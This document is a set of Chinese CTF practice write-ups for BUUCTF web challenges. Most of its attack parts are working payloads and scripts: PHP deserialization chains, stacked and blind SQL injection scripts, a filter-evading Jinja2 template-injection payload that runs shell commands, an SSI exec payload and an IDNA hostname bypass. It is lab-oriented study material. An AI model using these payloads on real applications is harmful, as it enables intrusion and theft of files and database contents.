buu假期刷题
web
[网鼎杯 2020 青龙组]AreUSerialz
<?php
include("flag.php"); //提示包含一个flag.php文件,我们的目的就是读取这个flag文件
highlight_file(__FILE__);
class FileHandler { //定义一个FileHandler类
protected $op;
protected $filename; //protected表示受保护的,只有本类或子类或父类中可以访问;
protected $content;
function __construct() { //定义一个__construct()函数为变量赋值
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process(); //调用process函数
}
public function process() { //定义一个process函数
if($this->op == "1") {
$this->write(); //如果op=1调用write函数
} else if($this->op == "2") {
$res = $this->read();
$this->output($res); //如果op=2调用read函数并赋值给$res,且将$res传给给output函数
} else {
$this->output("Bad Hacker!");
}
}
private function write() { //定义一个write函数
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) { ///对content的长度做出限制
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);//file_put_contents() 函数把一个字符串写入文件中
if($res) $this->output("Successful!"); //将content写入到fliname文件里面
else $this->output("Failed!"); //判断是否写入成功
} else {
$this->output("Failed!");
}
}
private function read() { //定义一个read函数
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename); //把文件赋值给$res
}
return $res; //返回$res的内容
}
private function output($s) { //定义一个output函数
echo "[Result]: <br>";
echo $s;
}
function __destruct() { //定义一个 __destruct()函数 销毁对象时调用此方法
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process( );
}
}
function is_valid($s) { //定义一个is_valid函数,函数规定字符的ASCII码必须是32-125
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) //ord() 函数是 chr() 函数(对于8位的ASCII字符串)或 unichr() 函数(对于Unicode对象)的配对函数,它以一个字符 (长度为1的字符串)作为参数,返回对应的 ASCII 数值,或者 unicode 数值,如果所给的 Unicode 字符超出了你的 Python 定义范围,则会引发一个 TypeError 的异常
return false;
return true;
}
if(isset($_GET{'str'})) { //定义一个get传参参数str
$str = (string)$_GET['str']; //将str转化成字符串
if(is_valid($str)) { //对$str进行is_valid判断
$obj = unserialize($str); //对$str进行反序列化
}
}
对代码进行审计,代码里面有read函数,我们可以构造条件去读取flag.php文件
要想调用read函数需要先调用process函数
调用proces函数的入口有 __destruct() 和__construct()函数,但是在执行反序列化首先会调用destruct函数,因为在进行反序列化时会销毁对象,于是会调用destruct函数。
代码中对对象进行了反序列化操作,所以变量已经进行了序列化
构造序列化代码:
构造payload:
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
[GYCTF2020]Blacklist
类似于强网杯的随便注,尝试联合查询发现返回了黑名单
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
过滤了union select 所以这里没办法使用联合查询
使用堆叠注入
查询库名 1';show databases;
或者报错注入 1'and (extractvalue(1,concat(0x7e,(database()),0x7e)))--+
查询表名 1'; show tables;
查询列名 1'; show coulmns from FlagHere --+
但是由于select union 被过滤所以这里不能使用他们查询flag
这里可以调用hander函数
通过HANDLER tbl_name OPEN打开一张表,无返回结果,
实际上我们在这里声明了一个名为tb1_name的句柄。
通过HANDLER tbl_name READ FIRST获取句柄的第一行,
通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。
通过HANDLER tbl_name CLOSE来关闭打开的句柄。
查询flag
1';handler FlagHere open;handler FlagHere read first;Handler FlagHere close;#
[CISCN2019 华北赛区 Day2 Web1]Hack World
同样是sql注入,但是这个是个盲注,同时考察了异或注入
sql中的^是异或判断
当两边相同的时候,输出值为0,如1^1=0
1^0=1
输入1(ascii(substr((select(flag)from(flag)),1,1))>x)1,这里x是一个未知数,不断改变x的值,便可根据回显逐渐爆破出flag
如果 ascii(substr((select(flag)from(flag)),1,1))>0 为真
相当于111
如果 ascii(substr((select(flag)from(flag)),1,1))>0 为假
相当于101
通过这个构造脚本使用盲注得到flag
import requests
import time
url = "http://d5d88314-27e4-43cf-a7b4-802508698555.node3.buuoj.cn/index.php"
payload = {
"id" : ""
}
result = ""
for i in range(1,100):
l = 33
r =130
mid = (l+r)>>1
while(l<r):
payload["id"] = "0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i,mid)
html = requests.post(url,data=payload)
print(payload)
if "Hello" in html.text:
l = mid+1
else:
r = mid
mid = (l+r)>>1
if(chr(mid)==" "):
break
result = result + chr(mid)
print(result)
print("flag: " ,result)
附带一个跑了一半失败的脚本脚本还是值得学习的
import requests
url = "http://web43.buuoj.cn/index.php"
result = ''
for i in range(1, 38):
for j in range(0, 256):
payload = '1^(cot(ascii(substr((select(flag)from(flag)),' + str(i) + ',1))>' + str(j) + '))^1=1'
print(payload)
r = requests.post(url, data = {'id': payload})
if r.text.find('girl') == -1:
result += chr(j)
print(j)
break
print(result)
[GYCTF2020]Easyphp
<?php
error_reporting(0); //关闭错误报告
session_start(); //开启Session功能
function safe($parm){ //定义了一个过滤池
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm); //这里会将$parm里面的$array池里面的替换为hacker
}
class User //定义一个用户类
{
public $id; //定义id
public $age=null; //定义age并初始化为null
public $nickname=null; //定义nickname并初始化为null
public function login() { //定义一个login函数
if(isset($_POST['username'])&&isset($_POST['password'])){
$mysqli=new dbCtrl(); //定义一个dbCtrl对象并赋值给$mysqli
$this->id=$mysqli->login('select id,password from user where username=?'); //类似于一个执行sql查询的语句
if($this->id){
$_SESSION['id']=$this->id; //利用session变量存储特定用户的id信息
$_SESSION['login']=1; //储存用户的login信息并赋值为1
echo "你的ID是".$_SESSION['id']; //输出用户id信息
echo "你好!".$_SESSION['token']; //输出用户token信息
echo "<script>window.location.href='./update.php'</script>"; //输出一个定义的链接php文件(/update.php)
return $this->id; //返回id值
}
}
}
public function update(){ //定义了一个update函数
$Info=unserialize($this->getNewinfo()); //对getNewinfo()进行反序列化并赋值给$info
$age=$Info->age; //调用对象属性
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
//这个功能还没有写完 先占坑
}
public function getNewInfo(){ //定义getNewInfo()函数
$age=$_POST['age']; //post传入一个age变量
$nickname=$_POST['nickname']; //post传入一个nickname变量
return safe(serialize(new Info($age,$nickname)));//对info中age和nickname进行序列化并进行过滤检查并并返回值
}
public function __destruct(){ //定义__destruct()函数
return file_get_contents($this->nickname);//危 返回读取的nickname值
}
public function __toString() //定义 __toString()函数
{
$this->nickname->update($this->age); //把update函数中的age值赋值给nickname
return "0-0";
}
}
class Info{ //定义一个info类
public $age;
public $nickname;
public $CtrlCase; //定义了三个属性变量
public function __construct($age,$nickname){ //定义一个__construct函数为对象赋值
$this->age=$age;
$this->nickname=$nickname;
}
public function __call($name,$argument){ //定义一个__call()函数传值给$CtrlCase
echo $this->CtrlCase->login($argument[0]);
}
}
Class UpdateHelper{ //定义一个UpdateHelper类
public $id;
public $newinfo;
public $sql; //定义三个属性变量
public function __construct($newInfo,$sql){ //对$newInfo 和 $sql进行传值
$newInfo=unserialize($newInfo); //对输入的$info进行反序列化
$upDate=new dbCtrl(); //创建一个dbCtrl()并赋值给$upDate
}
public function __destruct() //定义一个 __destruct()函数并输出$sql
{
echo $this->sql;
}
}
class dbCtrl //定义一个dbCtrl类
{
public $hostname="127.0.0.1";
public $dbuser="root";
public $dbpass="root";
public $database="test";
public $name;
public $password;
public $mysqli;
public $token;
public function __construct() //定义一个__construct()函数对变量进行post传参
{
$this->name=$_POST['username'];
$this->password=$_POST['password'];
$this->token=$_SESSION['token'];
}
public function login($sql)//定义一个login函数实现登录功能
{ //创建一个mysqli类并赋值给$mysqli变量
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败,错误:" . $this->mysqli->connect_error);
}
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token=='admin') { //执行对登录的验证从而实现登录
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误!');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;
}
public function update($sql)
{
//还没来得及写
}
}
BJDCTF2020]The mystery of ip
1
打开页面
进入flag页面
看看hint页面
并没有什么东西,burp抓包,添加xf头
发现ip被改变,猜测存在任意命令执行漏洞,在xf头出输入{system('ls /')},发现成功执行
查看flag文件
模板注入:
[GYCTF2020]FlaskApp
1
同样是一个ssti模板注入
打开题目
就是执行一个base64的加解密,提示里面什么也没有
但是在解密页面输入任意字符会进入debug页面
可以解码页面的部分源码
@app.route('/decode',methods=['POST','GET'])
def decode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64decode(text.encode())
tmp = "结果 : {0}".format(text_decode.decode())
if waf(tmp) :
flash("no no no !!")
return redirect(url_for('decode'))
[Open an interactive python shell in this frame] res = render_template_string(tmp)
这里是对获取的text参数进行检查,如果没有过waf会输出nonono!如果绕过waf会执行代码,所以这里我们可以尝试ssti注入
首先测试是否存在ssti注入
{{7+7}} base64:e3s3Kzd9fQ==(在尝试77是输出了nono ,猜测被过滤了)
执行解密:
所以这里直接执行命令payload:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("ls /").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
但是在执行时仍然输出nono,通过测试过滤了,flag,os,popen等字符,通过拼接字符绕过waf
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eva'+'l' in b.keys() %}
{{ b['eva'+'l']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("ls /").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
得到根目录下面文件
然后直接读取flag文件
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eva'+'l' in b.keys() %}
{{ b['eva'+'l']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("cat /this_is_the_fl"+"ag.txt").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
flag{42baca1d-208d-46b6-9233-478ce9b21109}
[BSidesCF 2019]Kookie
1
打开是一个登录框,最初没看提示直接当作sql注入来做,但是发现不行,然后看见了提示
提示说要一admin用户登录,然后我直接一admin登录,但是登录失败,因为密码不对
提示我们使用admin账户登录,并且存在cookie/monster两个账户?
抓包添加Cookie: username=admin
即可得到flag
flag{85c031ba-c20b-4f12-a7ca-bdbfb324ab84}
[BJDCTF2020]EasySearch
1
扫描一些目录,访问index.php.swp得到源码
<?php
ob_start();//打开缓冲区
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;//uniqid函数生成一个id
return sha1($content); //对$content进行sha1加密
}
header("Content-Type: text/html;charset=utf-8");//可能是要求了请求头的一个格式
***
if(isset($_POST['username']) and $_POST['username'] != '' )//post传参参数username
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {//substr对post传进的参数password的md5进行截取0,6位判断是否与$admin相等
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".ge_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";
}else
{
***
}
***
?>
ob_start()函数
ob_start()函数用于打开缓冲区,比如header()函数之前如果就有输出,包括回车/空格/换行/都会有"Header had all ready send by"的错误,这时可以先用ob_start()打开缓冲区PHP代码的数据块和echo()输出都会进入缓冲区而不会立刻输出
mt_rand函数
mt_rand(min,max)
mt_rand() 使用 Mersenne Twister 算法返回随机整数。
uniqid() 函数
uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID。
要求post传参值md5加密后前六位于$admin值相同
大佬脚本:
import hashlib
for i in range(1000000000):
a = hashlib.md5(str(i).encode('utf-8')).hexdigest()
if a[0:6] == '6d0bc1':
print(i)
print(a)
#输出:2020666
6d0bc1153791aa2b4e18b4f344f26ab4
2305004
6d0bc1ec71a9b814677b85e3ac9c3d40
9162671
6d0bc11ea877b37d694b38ba8a45b19c
构造paylaoad:username=admin&password=2020666
访问响应报文里面的地址
发现回显了用户名admin,而且网页文件是一个shtml文件,然后可以尝试使用SSI 远程命令执行漏洞。
命令格式:
所以可以使用这个漏洞读取文件:
payload:
username=&password=2020666
然后去读取flag文件
payload:
username=<!--#exec cmd="cat flag_990c66bf85a09c664f0b6741840499b2--"-->&password=2020666
得到flag
[0CTF 2016]piapiapia
1
代码审计:
config.php
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = '';
$config['database'] = '';
$flag = '';
?>//很明显目的是为了访问config.php从而得到flag
index.php
<?php
require_once('class.php');//包含一个class.php文件
if($_SESSION['username']) { //获取username值,如果username存在则向客户端传一个报头
header('Location: profile.php');//header() 函数向客户端发送原始的 HTTP 报头。
exit;
}
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
$password = $_POST['password'];////判断账号和密码的格式是否正确
if(strlen($username) < 3 or strlen($username) > 16)
die('Invalid user name'); //判断用户名的长度是否符合,不符合结束
if(strlen($password) < 3 or strlen($password) > 16)
die('Invalid password');//判断密码的长度是否符合,不符合结束
if($user->login($username, $password)) {//调用class.php中user类的login方法,然后再用user的父类进行过滤
$_SESSION['username'] = $username; //存一个username的session变量
header('Location: profile.php');
exit;
}
else {//不符合则输出
die('Invalid user name or password');
}
}
else {
?>
header()函数:
header() 函数向客户端发送原始的 HTTP 报头。
格式:header(string,replace,http_response_code)
string 必需。规定要发送的报头字符串。
replace 可选。指示该报头是否替换之前的报头,或添加第二个报头。默认是 TRUE(替换)。FALSE(允许相同类型的多个报头)。
http_response_code 可选。把 HTTP 响应代码强制为指定的值。(PHP 4.3 以及更高版本可用)
profile.php
<?php
require_once('class.php');//包含一个class.php文件
if($_SESSION['username'] == null) { //判断seesion中储存的username值是否为空,判断是否第一次登录
die('Login First'); ////如果还没有登录则提示先登录。
}
$username = $_SESSION['username']; //存一个username的session变量
$profile=$user->show_profile($username);//调用class.php中的user类使用show_profile方法,查找账户,并返回个人信息
if($profile == null) { //如果个人信息不存在,则到update.php页面
header('Location: update.php');
}
else {
$profile = unserialize($profile);//对个人信息$profile进行反序列化
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>//file_get_contents() 函数把整个文件读入一个字符串中。
//读取photo,并进行base64加密
//可以利用这个file_get_contents()函数读取config.php文件,输出flag
photo不可控,但是nickname值可控,我们可以通过控制nickname使photo等于config.php
构造payload:wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
多个where是为了绕过preg_replace函数,因为hacker是六个字符,where是五个,会多出一个字符所以构造一定数量的where,可以构造出字符串逃逸
nickname[]是为了绕过对名称长度的限制
update.php
<?php
require_once('class.php');//包含一个class.php
if($_SESSION['username'] == null) { //判断是否登录,提示登录
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
$username = $_SESSION['username'];//存一个username的session变量
if(!preg_match('/^\d{11}$/', $_POST['phone']))//对参数phone传进了的字符进行一个正则匹配,要求匹配十一次都是数字
die('Invalid phone');//对电话号码的一个验证
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');//对邮箱格式的一个正则匹配
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');//使用正则对nicknaeme的一个过滤和对nickname长度的要求
//匹配昵称,开头不是大小写字母或数字,且长度小于10则die,但是使用数组可以绕过
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)//判断图片大小
die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));//将上传的文件移动到/upload下面,并对文件名进行md5加密
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
//文件名为upload/+md5(name)
$user->update_profile($username, serialize($profile)); //调用clas.php的user类update_profile方法对数据库进行更新,并且把profile数组序列化
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
else {
?>
/^\d{11}$/://表示正则;
^表示开始
$表示结尾
\表示数字
d{11}表示字符串长度为11
表示每次匹配都是数字
//move_uploaded_file() 函数将上传的文件移动到新位置
class.php
<?php
require('config.php');//包含一个config.php文件
class user extends mysql{//创建了一个user类并继承于mysql类
private $table = 'users'; //创建了一个users的表名
public function is_exists($username) { //定义一个is_exists方法,进行对用户一个查询判断用户是否存在
$username = parent::filter($username);
$where = "username = '$username'";
return parent::select($this->table, $where);
}
public function register($username, $password) { //定义了一个register方法,
$username = parent::filter($username);
$password = parent::filter($password);
$key_list = Array('username', 'password');//为$key_list创建一个数组,里面包含有username,和password
$value_list = Array($username, md5($password));//同样是创建一个数组,不过会对元素password进行md5加密
return parent::insert($this->table, $key_list, $value_list);
}
public function login($username, $password) {//login功能的实现
$username = parent::filter($username);
$password = parent::filter($password);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
if ($object && $object->password === md5($password)) {//密码匹配正确成功登录
return true;
} else {
return false;
}
}
public function show_profile($username) {//实现对个人账号的一个查找,并返回个人信息
$username = parent::filter($username);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
return $object->profile;
}
public function update_profile($username, $new_profile) {//实现对个人信息的一个更新
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
public function __tostring() {
return __class__;
}
}
class mysql { //mysql类
private $link = null;
public function connect($config) {//实现对数据库的一个连接
$this->link = mysql_connect(//mysql_connect() 函数打开非持久的 MySQL 连接
$config['hostname'],
$config['username'],
$config['password']
);
mysql_select_db($config['database']); // mysql_select_db() 函数设置活动的 MySQL 数据库
mysql_query("SET sql_mode='strict_all_tables'");//mysql_query() 函数执行一条 MySQL 查询。
return $this->link;
}
public function select($table, $where, $ret = '*') {//实现sql查询的功能
$sql = "SELECT $ret FROM $table WHERE $where";
$result = mysql_query($sql, $this->link);
return mysql_fetch_object($result);
}
public function insert($table, $key_list, $value_list) {
$key = implode(',', $key_list);
$value = '\'' . implode('\',\'', $value_list) . '\'';
$sql = "INSERT INTO $table ($key) VALUES ($value)";
return mysql_query($sql);
}
public function update($table, $key, $value, $where) {//实现一个插入功能
$sql = "UPDATE $table SET $key = '$value' WHERE $where";
return mysql_query($sql);
}
public function filter($string) {//对输入的字符进行一个检查,并对过滤的字符进行一个正则匹配替换
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
public function __tostring() {
return __class__;
}
}
session_start();//会话开始
$user = new user();//创建一个对象
$user->connect($config);//返回数据库信息
//array:为对象创建一个数组
register.php
<?php
require_once('class.php');//包含一个class.php文件
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
$password = $_POST['password'];
if(strlen($username) < 3 or strlen($username) > 16) //判断name长度
die('Invalid user name');
if(strlen($password) < 3 or strlen($password) > 16) //判断密码长度
die('Invalid password');
if(!$user->is_exists($username)) {
$user->register($username, $password);//判断是否输入用户名是否已经存在
echo 'Register OK!<a href="index.php">Please Login</a>';
}
else {
die('User name Already Exists');
}
}
else {
?>
photo不可控,但是nickname值可控,我们可以通过控制nickname使photo等于config.php
构造payload:wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
多个where是为了绕过preg_replace函数,因为hacker是六个字符,where是五个,会多出一个字符所以构造一定数量的where,可以构造出字符串逃逸
nickname[]是为了绕过对名称长度的限制
访问profile.php
查看网页图片源码
对base64编码进行解码
base64编码:PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdmbGFnezY2NGU0MmRiLWRjYjgtNDA3Mi04ZDVhLWIxNzRkMmI0YTJkNn0nOwo/Pgo=
解码:<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = 'qwertyuiop';
$config['database'] = 'challenges';
$flag = 'flag{664e42db-dcb8-4072-8d5a-b174d2b4a2d6}';
?>
[SUCTF 2019]Pythonginx
1
打开题目f12看源码
@app.route('/getUrl', methods=['GET', 'POST'])//定义一个路由/geturl
def getUrl():
url = request.args.get("url")//获取前端表单传递的url值
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"
</code>
<!-- Dont worry about the suctf.cc. Go on! -->
<!-- Do you know the nginx? -->
前两个if不能等于suctf.cc第三个if可以,构造payload:
?url=file://suctf.c℆sr/local/nginx/conf/nginx.conf
℆sr 绕过过滤
下面是大佬的一个脚本,能跑出来一些可以字符绕过
from urllib.parse import urlparse,urlunsplit,urlsplit
from urllib import parse
def get_unicode():
for x in range(65536):
uni=chr(x)
url="http://suctf.c{}".format(uni)
try:
if getUrl(url):
print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])
except:
pass
def getUrl(url):
url = url
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return False
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return False
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return True
else:
return False
if __name__=="__main__":
get_unicode()
#输出:str: ℂ unicode: \u2102
str: ℭ unicode: \u212d
str: Ⅽ unicode: \u216d
str: ⅽ unicode: \u217d
str: Ⓒ unicode: \u24b8
str: ⓒ unicode: \u24d2
str: C unicode: \uff23
str: c unicode: \uff43
https://xz.aliyun.com/t/6070
https://www.cnblogs.com/cimuhuashuimu/p/11490431.html
得到flag位置,访问flag
nginx重要文件的位置:
配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
配置文件目录为:/usr/local/nginx/conf/nginx.conf
[BSidesCF 2019]Futurella
1
打开题目,有几行未知文字,而且能够复制
想着是什么编码,复制去网上搜,刚粘贴上flag就出来了
Resistance is futile! Bring back Futurella or we'll invade! Also, the flag is flag{c4bd3974-d88d-4bf1-a002-e385079fd570}
源码中也有flag,妥妥签到
[CISCN2019 华东南赛区]Web11
1
smarty ssti模板注入
打开题目
根据这猜测是smart模板注入
且注入点是xf头
尝试注入成功
查看根目录文件
查看flag文件
"flag{cb437c21-179b-42e0-b084-e6cedde0d101}
[极客大挑战 2019]FinalSQL
1
盲注
这是一道盲注题,但是sqlmap跑不出来,应该是过滤东西了
python脚本:
import requests
import time
url = "http://dc8e7051-04f1-4302-a187-a773d47203f9.node4.buuoj.cn:81/search.php"
temp = {"id": ""}
column = ""
for i in range(1, 1000):
time.sleep(0.06)
low = 32
high = 128
mid = (low + high) // 2
while (low < high):
# 库名
# temp["id"] = "1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1" %(i,mid)
# 表名
# temp["id"] = "1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)^1" %(i,mid)
# 字段名
# temp["id"] = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1" %(i,mid)
# 内容
temp["id"] = "1^(ascii(substr((select(group_concat(id,username,password))from(F1naI1y)),%d,1))>%d)^1" % (i, mid)
r = requests.get(url, params=temp)
time.sleep(0.04)
print(low, high, mid, ":")
if "Click" in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if (mid == 32 or mid == 127):
break
column += chr(mid)
print(column)
print("All:", column)
#输出:1mygodcl4y_is_really_amazing,2welcomewelcome_to_my_blog,3sitehttp://www.cl4y.top,4sitehttp://www.cl4y.top,5sitehttp://www.cl4y.top,6sitehttp://www.cl4y.top,7Sycwelcom_to_Syclover,8finallycl4y_really_need_a_grilfriend,9flagflag{e87b95a2-e396-4d88-ac52-28a596b890b3}
[NPUCTF2020]ReadlezPHP
1代码审计,序列化与反序列化
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){//这个函数会回显时间,我们可以利用这个函数获取flag
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}
@$ppp = unserialize($_GET["data"]); //对get传进去的data数据要进行反序列化
#构造序列化链:
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "phpinfo()";
$this->b = "assert";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a); //这里是序列化的核心,这样就可以组成assert(phpinfo()),从而执行命令了
}
}
$c = new HelloPhp;
print(serialize($c));
//输出:O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}
然后直接搜flag就行
[MRCTF2020]PYWebsite
1XF头添加
打开提示说要购买才给flag,想着是修改价格或者折扣之类的,但是抓包也没找到,然后直接访问flag.php
这句话提示我们是不是要添加xf头伪造一个ip
flag{bc4a2aba-954c-4aae-ba0a-c91faa2a142e}
[MRCTF2020]Ezpop
1 代码审计
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier { //
protected $var;
public function append($value){ //定义了一个函数,用于包含文件
include($value);//这里是读取flag的关键,让其包含flag文件利用为协议读取
}
public function __invoke(){ //包含文件var
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){ //定义了过滤池
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";//使用正则匹配将过滤池里面的替换成hacker(可以使用反序列化字符串逃逸绕过)
$this->source = "index.php";//返回到index.php页面
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();//创建名为 $p 的索引数组
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);//对传入的参数pop进行反序列化
}
else{
$a=new Show;
highlight_file(__FILE__);
}
链子:
<?php
//flag is in flag.php
class Modifier {
protected $var='php://filter/read=convert.base64-encode/resource=flag.php';//利用伪协议包含并读取flag文件
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
}
}
class Test{
public $p;
public function __construct(){
$this->p = new Modifier();
}
}
\
$a = new Show("self");//可以在__construct中的echo时触发__toString
$a->str = new Test();//可以触发__get
$c = new Show($a);
echo urlencode(serialize($c));
构造链子思路:
构造的关键在于include($value);,我们可以通过他使用php://filter/read=convert.base64-encode/resource=flag.php包含并读取flag.php文件,然后include在function_append中,然后我们可以通过执行function __invoke去调用append函数
function_invoke函数在modifier里面,我们可以利用触发modifier的方法去触发function __invoke,
触发modefier可以通过触发function __get的
$function();
而触发function __get可以function __toString的
$this->str->source;
使得str=new Test(),source=xxx
.
最后function __toString
,可以通过function __construct
